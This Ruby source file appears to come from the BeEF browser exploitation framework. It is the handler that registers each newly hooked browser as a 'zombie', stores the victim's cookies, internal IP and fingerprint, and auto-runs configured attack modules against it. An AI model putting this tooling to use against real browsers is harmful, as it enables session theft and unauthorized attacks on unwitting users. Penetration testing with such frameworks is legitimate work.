#
#   Copyright 2012 Wade Alcorn wade@bindshell.net
#
#   Licensed under the Apache License, Version 2.0 (the "License");
#   you may not use this file except in compliance with the License.
#   You may obtain a copy of the License at
#
#       http://www.apache.org/licenses/LICENSE-2.0
#
#   Unless required by applicable law or agreed to in writing, software
#   distributed under the License is distributed on an "AS IS" BASIS,
#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
#   See the License for the specific language governing permissions and
#   limitations under the License.
#
module BeEF
  module Extension
    module Initialization

      #
      # The http handler that manages the return of the initial browser details.
      #
      class Handler

        @data = {}

        HB = BeEF::Core::Models::HookedBrowser
        BD = BeEF::Extension::Initialization::Models::BrowserDetails

        def initialize(data)
          @data = data
          setup()
        end

        def err_msg(error)
          print_error "[INITIALIZATION] #{error}"
        end

        def setup()
          # validate hook session value
          session_id = get_param(@data, 'beefhook')
          (self.err_msg "session id is invalid"; return) if not BeEF::Filters.is_valid_hook_session_id?(session_id)
          hooked_browser = HB.first(:session => session_id)
          return if not hooked_browser.nil? # browser is already registered with framework

          # create the structure representing the hooked browser
          zombie = BeEF::Core::Models::HookedBrowser.new(:ip => @data['request'].ip, :session => session_id)
          zombie.firstseen = Time.new.to_i

          # hostname
          if not @data['results']['HostName'].nil? then
            log_zombie_domain=@data['results']['HostName']
          elsif (not @data['request'].referer.nil?) and (not @data['request'].referer.empty?)
            log_zombie_domain=@data['request'].referer.gsub('http://', '').gsub('https://', '').split('/')[0]
          else
            log_zombie_domain="unknown" # Probably local file open
          end

          # port
          if not @data['results']['HostPort'].nil? then
            log_zombie_port=@data['results']['HostPort']
          else
            log_zombie_domain_parts=log_zombie_domain.split(':')
            log_zombie_port=80
            if log_zombie_domain_parts.length > 1 then
              log_zombie_port=log_zombie_domain_parts[1].to_i
            end
          end

          zombie.domain = log_zombie_domain
          zombie.port = log_zombie_port

          #Parse http_headers. Unfortunately Rack doesn't provide a util-method to get them :(
          @http_headers = Hash.new
          http_header = @data['request'].env.select {|k,v| k.to_s.start_with? 'HTTP_'}
                      .each {|key,value|
                            @http_headers[key.sub(/^HTTP_/, '')] = value
                      }
          zombie.httpheaders = @http_headers.to_json
          zombie.save

          # add a log entry for the newly hooked browser
          BeEF::Core::Logger.instance.register('Zombie', "#{zombie.ip} just joined the horde from the domain: #{log_zombie_domain}:#{log_zombie_port.to_s}", "#{zombie.id}")

          # get and store browser name
          browser_name = get_param(@data['results'], 'BrowserName')
          if BeEF::Filters.is_valid_browsername?(browser_name)
            BD.set(session_id, 'BrowserName', browser_name)
          else
            self.err_msg "Invalid browser name returned from the hook browser's initial connection."
          end

          # get and store browser version
          browser_version = get_param(@data['results'], 'BrowserVersion')
          if BeEF::Filters.is_valid_browserversion?(browser_version)
            BD.set(session_id, 'BrowserVersion', browser_version)
          else
            self.err_msg "Invalid browser version returned from the hook browser's initial connection."
          end

          # get and store browser string
          browser_string = get_param(@data['results'], 'BrowserReportedName')
          if BeEF::Filters.is_valid_browserstring?(browser_string)
            BD.set(session_id, 'BrowserReportedName', browser_string)
          else
            self.err_msg "Invalid browser string returned from the hook browser's initial connection."
          end

          # get and store the cookies
          cookies = get_param(@data['results'], 'Cookies')
          if BeEF::Filters.is_valid_cookies?(cookies)
            BD.set(session_id, 'Cookies', cookies)
          else
            self.err_msg "Invalid cookies returned from the hook browser's initial connection."
          end

          # get and store the os name
          os_name = get_param(@data['results'], 'OsName')
          if BeEF::Filters.is_valid_osname?(os_name)
            BD.set(session_id, 'OsName', os_name)
          else
            self.err_msg "Invalid operating system name returned from the hook browser's initial connection."
          end

          # get and store page title
          page_title = get_param(@data['results'], 'PageTitle')
          if BeEF::Filters.is_valid_pagetitle?(page_title)
            BD.set(session_id, 'PageTitle', page_title)
          else
            self.err_msg "Invalid page title returned from the hook browser's initial connection."
          end

          # get and store page uri
          page_uri = get_param(@data['results'], 'PageURI')
          if BeEF::Filters.is_valid_url?(page_uri)
            BD.set(session_id, 'PageURI', page_uri)
          else
            self.err_msg "Invalid page URL returned from the hook browser's initial connection."
          end

          # get and store the page referrer
          page_referrer = get_param(@data['results'], 'PageReferrer')
          if BeEF::Filters.is_valid_pagereferrer?(page_referrer)
            BD.set(session_id, 'PageReferrer', page_referrer)
          else
            self.err_msg "Invalid page referrer returned from the hook browser's initial connection."
          end

          # get and store hostname
          host_name = get_param(@data['results'], 'HostName')
          if BeEF::Filters.is_valid_hostname?(host_name)
            BD.set(session_id, 'HostName', host_name)
          else
            self.err_msg "Invalid host name returned from the hook browser's initial connection."
          end

          # get and store the browser plugins
          browser_plugins = get_param(@data['results'], 'BrowserPlugins')
          if BeEF::Filters.is_valid_browser_plugins?(browser_plugins)
            BD.set(session_id, 'BrowserPlugins', browser_plugins)
          else
            self.err_msg "Invalid browser plugins returned from the hook browser's initial connection."
          end

          # get and store the system platform
          system_platform = get_param(@data['results'], 'SystemPlatform')
          if BeEF::Filters.is_valid_system_platform?(system_platform)
            BD.set(session_id, 'SystemPlatform', system_platform)
          else
            self.err_msg "Invalid system platform returned from the hook browser's initial connection."
          end

          # get and store the internal ip address
          internal_ip = get_param(@data['results'], 'InternalIP')
          if BeEF::Filters.is_valid_ip?(internal_ip)
            BD.set(session_id, 'InternalIP', internal_ip)
          else
            self.err_msg "Invalid internal IP address returned from the hook browser's initial connection."
          end

          # get and store the internal hostname
          internal_hostname = get_param(@data['results'], 'InternalHostname')
          if BeEF::Filters.is_valid_hostname?(host_name)
            BD.set(session_id, 'InternalHostname', internal_hostname)
          else
            self.err_msg "Invalid internal hostname returned from the hook browser's initial connection."
          end

          # get and store the hooked browser type
          browser_type = get_param(@data['results'], 'BrowserType')
          if BeEF::Filters.is_valid_browsertype?(browser_type)
            BD.set(session_id, 'BrowserType', browser_type)
          else
            self.err_msg "Invalid hooked browser type returned from the hook browser's initial connection."
          end

          # get and store the zombie screen size and color depth
          screen_params = get_param(@data['results'], 'ScreenParams')
          if BeEF::Filters.is_valid_screen_params?(screen_params)
            BD.set(session_id, 'ScreenParams', screen_params)
          else
            self.err_msg "Invalid screen params returned from the hook browser's initial connection."
          end

          # get and store the window size
          window_size = get_param(@data['results'], 'WindowSize')
          if BeEF::Filters.is_valid_window_size?(window_size)
            BD.set(session_id, 'WindowSize', window_size)
          else
            self.err_msg "Invalid window size returned from the hook browser's initial connection."
          end

          # get and store the yes|no value for JavaEnabled
          java_enabled = get_param(@data['results'], 'JavaEnabled')
          if BeEF::Filters.is_valid_yes_no?(java_enabled)
            BD.set(session_id, 'JavaEnabled', java_enabled)
          else
            self.err_msg "Invalid value for JavaEnabled returned from the hook browser's initial connection."
          end

          # get and store the yes|no value for VBScriptEnabled
          vbscript_enabled = get_param(@data['results'], 'VBScriptEnabled')
          if  BeEF::Filters.is_valid_yes_no?(vbscript_enabled)
            BD.set(session_id, 'VBScriptEnabled', vbscript_enabled)
          else
            self.err_msg "Invalid value for VBScriptEnabled returned from the hook browser's initial connection."
          end

          # get and store the yes|no value for HasFlash
          has_flash = get_param(@data['results'], 'HasFlash')
          if BeEF::Filters.is_valid_yes_no?(has_flash)
            BD.set(session_id, 'HasFlash', has_flash)
          else
            self.err_msg "Invalid value for HasFlash returned from the hook browser's initial connection."
          end

          # get and store the yes|no value for HasGoogleGears
          has_googlegears = get_param(@data['results'], 'HasGoogleGears')
          if BeEF::Filters.is_valid_yes_no?(has_googlegears)
            BD.set(session_id, 'HasGoogleGears', has_googlegears)
          else
            self.err_msg "Invalid value for HasGoogleGears returned from the hook browser's initial connection."
          end

          # get and store the yes|no value for HasWebSocket
          has_web_socket = get_param(@data['results'], 'HasWebSocket')
          if BeEF::Filters.is_valid_yes_no?(has_web_socket)
            BD.set(session_id, 'HasWebSocket', has_web_socket)
          else
            self.err_msg "Invalid value for HasWebSocket returned from the hook browser's initial connection."
          end

          # get and store the yes|no value for HasActiveX
          has_activex = get_param(@data['results'], 'HasActiveX')
          if BeEF::Filters.is_valid_yes_no?(has_activex)
            BD.set(session_id, 'HasActiveX', has_activex)
          else
            self.err_msg "Invalid value for HasActiveX returned from the hook browser's initial connection."
          end

          # get and store whether the browser has session cookies enabled
          has_session_cookies = get_param(@data['results'], 'hasSessionCookies')
          if BeEF::Filters.is_valid_yes_no?(has_session_cookies)
            BD.set(session_id, 'hasSessionCookies', has_session_cookies)
          else
            self.err_msg "Invalid value for hasSessionCookies returned from the hook browser's initial connection."
          end

          # get and store whether the browser has persistent cookies enabled
          has_persistent_cookies = get_param(@data['results'], 'hasPersistentCookies')
          if BeEF::Filters.is_valid_yes_no?(has_persistent_cookies)
            BD.set(session_id, 'hasPersistentCookies', has_persistent_cookies)
          else
            self.err_msg "Invalid value for hasPersistentCookies returned from the hook browser's initial connection."
          end

          # Call autorun modules
          autorun = []
          BeEF::Core::Configuration.instance.get('beef.module').each { |k, v|
            if v.has_key?('autorun') and v['autorun'] == true
              if BeEF::Module.support(k, {'browser' => browser_name, 'ver' => browser_version, 'os' => os_name}) == BeEF::Core::Constants::CommandModule::VERIFIED_WORKING
                BeEF::Module.execute(k, session_id)
                autorun.push(k)
              else
                print_debug "Autorun attempted to execute unsupported module '#{k}' against Hooked browser #{zombie.ip}"
              end
            end
          }
          if autorun.length > 0
            print_info "Autorun executed: #{autorun.join(', ')} against Hooked browser #{zombie.ip}"
          end
        end

        def get_param(query, key)
          (query.class == Hash and query.has_key?(key)) ? query[key] : nil
        end
      end


    end
  end
end

